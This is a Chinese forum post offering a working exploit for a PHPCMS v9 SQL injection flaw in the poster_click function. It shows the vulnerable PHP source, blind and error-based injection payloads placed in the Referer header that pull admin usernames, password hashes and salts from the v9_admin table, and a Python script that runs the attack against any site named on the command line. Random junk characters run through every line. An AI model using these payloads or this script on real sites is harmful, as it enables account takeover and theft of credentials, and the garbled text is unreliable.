有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 I# m3 U) |% a. {% h5 ?4 I% n, {" n) y% T% _
问题函数\phpcms\modules\poster\index.php
1 V' y0 I! G: Q- T
& S5 {, ` U& |1 gpublic function poster_click() {
9 M) {3 o3 e+ `* j' F6 ^ D$id = isset($_GET['id']) ? intval($_GET['id']) : 0;( N3 ~6 j% c; c6 x$ i
$r = $this->db->get_one(array('id'=>$id));
" \: E& S1 t) l" Dif (!is_array($r) && empty($r)) return false;1 M4 y+ U7 M% N k& O/ ?" B
$ip_area = pc_base::load_sys_class('ip_area');
0 N; y/ u! `" T! _ t; O0 R$ip = ip();
8 ~6 y9 v% |* H$area = $ip_area->get($ip);' h( c% Y% F1 w. O
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
( m t( B' g2 \" C9 tif($id) {
q! Z2 a% ^1 y5 Y* C$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 I7 G3 M) k) o: G+ r) w, u$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));! ?* K) b3 q8 t7 Y0 {( P* w8 a4 z$ K% Y
}8 q& x0 g) i+ ^4 C7 D' o
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));/ w7 S+ {) A* T6 h
$setting = string2array($r['setting']);
. A- g- T' e& qif (count($setting)==1) {
3 M" Z( {* Z- k( S$url = $setting['1']['linkurl'];+ d- I! b4 T4 y! I6 @
} else {/ x5 e0 J8 L& O) ]
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];0 L$ z& ]& n% r. B r
}
" t; o3 z ^% F7 M% ~2 b+ R2 Bheader('Location: '.$url);5 W6 V/ m% _ R7 X
} x; @7 ?7 m# ~
) E( e( k; N4 @- S0 ^" ~6 } : r/ z% r% q& L/ z' X6 s1 e
& |8 H _$ a' G" O0 c+ }( y/ G利用方式: X/ f4 r3 p0 p. R8 }8 A/ f
+ q# `$ H7 P# l6 S0 I$ w
1、可以采用盲注入的手法:, @1 x, A. e& H; p0 T
* E/ ~% N6 t& I, J8 e6 `& @% S5 V
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#/ Z3 ^5 `( Q. A5 Y4 R) o& P
4 f4 m9 C1 t4 O. n' S+ A6 M" \
通过返回页面,正常与否一个个猜解密码字段。
" P- {. x; j7 d" r) K }5 c4 k3 C6 H+ ^( H' ^7 T
2、代码是花开写的,随手附上了:' h3 i i: m6 k8 b4 w" N4 X0 ~% [
3 A4 }/ a) o1 C, [
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#6 N- L+ s2 P1 m( ?
/ n9 r) h" z" K% Y% T此方法是爆错注入手法,原理自查。
9 E; C i, i5 t6 `2 c5 k- p/ c' i: i/ ?) j6 B
4 T% ?* \* C- b$ w! _9 N z% a: S: X4 S+ c+ @* O3 [, ~$ o
利用程序:' u; L4 Z0 a, ^+ a: w
9 [; D) f# Y a+ ^
#!/usr/bin/env python! g5 v# e0 ~* ~/ w" S. S: U
import httplib,sys,re
9 ]. U. w& m5 h1 T% W
' B0 G) h1 f* V3 odef attack():
# v/ k1 e9 ^) w7 L: t* z+ n+ tprint “Code by Pax.Mac Team conqu3r!”
" E+ o H! E/ u- C& Kprint “Welcome to our zone!!!”; S" p8 _* d: w
url=sys.argv[1]# Q1 i4 }/ v* \/ }
paths=sys.argv[2]
3 w0 j2 G( F# L1 e. |' J* @conn = httplib.HTTPConnection(url)
1 E6 e+ _ p! S, @i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
1 k0 o3 z3 B/ [, b1 c9 Z“Accept”: “text/plain”,
- c! a1 l( ^( x% V, f# b; C9 Q“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
3 Y: n$ [6 ?1 r& econn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers) S e9 X/ p. m
r1 = conn.getresponse(); G/ }' r: u# J% H
datas=r1.read()% K. x+ g4 F1 Q% W
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
1 e6 [+ H1 X8 U8 I. Jprint datas[0]
" G( |& L5 D) n' Cconn.close()
% i2 ^9 @( ~% G7 i2 s$ x$ `1 Fif __name__==”__main__”:
/ U8 j$ `6 l6 o4 J, y, mif len(sys.argv)<3:
$ l9 ` ^0 |. O+ p9 U# M; Eprint “Code by Pax.Mac Team conqu3r”4 @9 t* p, u9 f; a9 ^. K
print “Usgae:”5 O& _% {& Q$ ~8 v& I& K
print “ phpcmsattack.py www.paxmac.org /”
6 P( W2 [7 t3 B$ Nprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”* Z6 ]% C/ K" d' i i( L5 f
sys.exit(1)
# ~9 R K# J7 @7 U& |7 ?+ H/ |: E* Tattack()
: w. m7 G# H0 P6 U3 g; I, F% ^9 w; E Y) X9 q% x
|